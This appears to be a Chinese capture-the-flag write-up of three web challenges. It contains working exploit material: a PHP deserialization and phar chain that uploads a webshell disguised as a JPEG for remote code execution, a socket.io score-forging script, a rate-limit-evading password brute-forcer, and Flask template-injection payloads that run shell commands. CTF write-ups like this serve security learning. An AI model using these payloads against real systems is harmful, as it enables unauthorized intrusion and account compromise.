


1.ezphp

初步审计,发现分POST和GET两种方式处理数据。
POST部分允许上传图片文件,可以获得文件路径。
GET部分如果get到ccc,包含一个php文件并判断传入ccc的文件路径是否存在;如果get到orz,会接受后续传入的get参数进行简单的md5判断,通过后即可获得包含的php的文件内容。
md5使用数组绕过即可。payload:?orz=1&jbn1[]=1&jbn2[]=2&username=0rays&password[]=1
得到f71fade1b8ed74a6d9849359380b760e.php的内容:

<?php class Act { protected $checkAccess; protected $id; public function run() { if ($this->id !== 0 && $this->id !== 1) { switch($this->id) { case 0: if ($this->checkAccess) { include($this->checkAccess); } break; case 1: throw new Exception("id invalid in ".__CLASS__.__FUNCTION__); break; default: break; } } } } class Con { public $formatters; public $providers; public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter); return $this->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); } public function __call($name, $arguments) { return call_user_func_array($this->getFormatter($name), $arguments); } } class Mmm { public function __invoke(){ include("hello.php"); } } class Jbn{ public $source; public $str; public $reader; public function __wakeup() { if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) { throw new Exception('invalid protocol found in '.__CLASS__); } } public function __construct($file='index.php') { $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString() { $this->str->reset(); } public function reset() { if ($this->reader !== null) { $this->reader->close(); } } }
思路:
首先由Jbn类的wakeup方法为起点开始触发,将source设为Jbn对象的引用,由于preg_match,触发toString方法;
再将source->str设为Jbn对象引用,执行reset方法;
再将str->reader设为Con对象的引用,由于Con类不存在close方法,触发call方法;
审计getFormatter函数可知将formatter数组设为['close' => [$act, 'run']],并将变量act设为Act对象的引用,即可执行Act中的run方法,为保险我这里将Act类中的id设为"0e123"确保判断通过。
本地测试代码如下。注意由于Act类中的成员变量属性为protected,序列化数据中会有不可见字符%00,打印序列化数据的时候要先urlencode。
<?php //定义类,省略 $act=new Act(); // 创建 Con 对象 $con = new Con(); $con->formatters = ['close' => [$act, 'run']]; // 创建两个 Jbn 对象 $jbn = new Jbn(); $jbn1 = new Jbn(); $jbn2 = new Jbn(); // 设置 Jbn 对象的属性 $jbn2->reader=$con; $jbn1->str=$jbn2; $jbn->source=$jbn1; $serialized = serialize($jbn); echo $serialized; echo urlencode($serialized); unserialize($_GET['a']);?>

由于后半段只能使用GET传参,所以php://input执行任意代码的方法不能使用,可以上传含有一句话木马的图片文件,然后将该文件包含即可RCE。
先写个脚本上传木马图片:
import requests url='http://e806052f-6206-4414-9a78-cb1ba64a23f2.training.0rays.club:8001/' #题目url file_path='C:\\Users\\26426\\Desktop\\ctf工具\\OneSentence.jpg' #一句话木马图片路径 files={'file':open(file_path,'rb')} response=requests.post(url,files=files) print(response.text)
得到路径

打phar包,要包含的文件路径定义为木马图片路径,元数据存入变量jbn

<? #定义类,这里省略 $act=new Act(); $con = new Con(); $con->formatters = ['close' => [$act, 'run']]; $jbn = new Jbn(); $jbn1 = new Jbn(); $jbn2 = new Jbn(); $jbn2->reader=$con; $jbn1->str=$jbn2; $jbn->source=$jbn1; $phar = new Phar('PO.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->addFromString('test.txt', 'test'); $phar->setMetadata($jbn); $phar->stopBuffering(); ?>
改名为.jpg结尾并上传phar包
import requests url='' #题目URL file_path='' #phar包文件路径 files={'file':open(file_path,'rb')} response=requests.post(url,files=files) print(response.text)

首页ccc设为phar://+phar包路径即可包含木马,成功getshell,拿到flag:

2.TankTrouble

点击获取FLAG,提示要玩够555分才给flag,审计前端GameState.js代码,看一下对不同事件的处理:

发现在玩家坦克被其他玩家击杀时会触发socket事件发包到后端,事件名为kill。
其他事件(玩家自杀,玩家击杀其他坦克)的处理都在前端完成。
打开bp,查看websocket history

那就只能通过向服务器构造发送kill事件的包,id设为自己的id,模拟自己击杀其他坦克的事件,从而获得加分。
先构造一个kill事件的包发送,发现分数+1,证明此方法可行
写脚本反复发送kill事件的包,即可加分至555分。
import socketio import time # 创建一个Socket.IO客户端 sio = socketio.Client() @sio.event def connect(): print("连接已建立") # 无限循环,持续发送消息 while True: sio.emit('kill', {"killer": "[bp中截获的玩家id]"}) print("已发送消息") time.sleep(0.1) #断开连接 @sio.event def disconnect(): print("连接已断开") #连接 sio.connect('http://[服务器ip]:[端口]') #保持脚本运行 sio.wait()
3.CNCTF2023
给了含9999个口令的文档,以及提示需要爆破,登录管理员账户。
尝试使用bp的intruder模块进行爆破,发现被限制请求频率。
当时不会docker,也没想过本地爆密码。
但是想到了一个非预期:题目是4台公共靶机,每台靶机密码相同,那么可以进行多线程爆破。
脚本:
import requests import time #有7个脚本,该脚本对应爆破1号靶机,用的是第1~1249个密码 url = 'http://jbnrz.com.cn:10101/login' headers = { 'Host': 'jbnrz.com.cn:10101', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'DNT': '1', 'Referer': 'http://jbnrz.com.cn:10101/login', 'Cookie': 'session=0e05942f-ae60-4b2d-a854-0ccaf12cff6f.i5qfub2V3uU0Cw1nhhlDNOuUZp0', 'X-Forwarded-For': '8.8.8.8', 'Connection': 'close', 'Content-Type': 'application/x-www-form-urlencoded' } data ={'name':'admin','password':'123','_submit':'%E6%8F%90%E4%BA%A4','nonce':'9e800d7455741648dcc6779d910bae6c9e327ba5efefce48da3424854ea09411'} wrong=requests.post(url, headers=headers, data=data).text if "incorrect" in wrong: print("Connected") with open('D:\\QQ\\2642677199\\FileRecv\\something.txt', 'r',encoding='utf-8') as file: passwds = [line.strip() for line in file] passwds=passwds[0:1250:] for passwd in passwds: while True: data['password']=passwd time.sleep(5) response = requests.post(url, headers=headers, data=data).text print(passwd) if "Too many requests" in response: print("此处被频率限制。重试密码:{}".format(passwd)) else: break if response != wrong: print(response) print(f'密码: {passwd}') break
同时运行8个,分段分靶机爆破,得到密码为:jozefkosmider1995
内部存在flask注入,注入点在whale
注入{{''.__class__.__mro__[1].__subclasses__()[153].__init__.__globals__['popen']('env').read()}}试图查看环境变量,发现报错为状态码500。
经过试错探索,发现题目环境中object的子类列表和平时大部分的环境不一样,注入{{''.__class__.__mro__[1].__subclasses__()}}得object子类列表,编写简单脚本,找到类os._wrap_close的索引是133。
于是将__subclasses__()下标改为133,重新注入,成功。

Comments NOTHING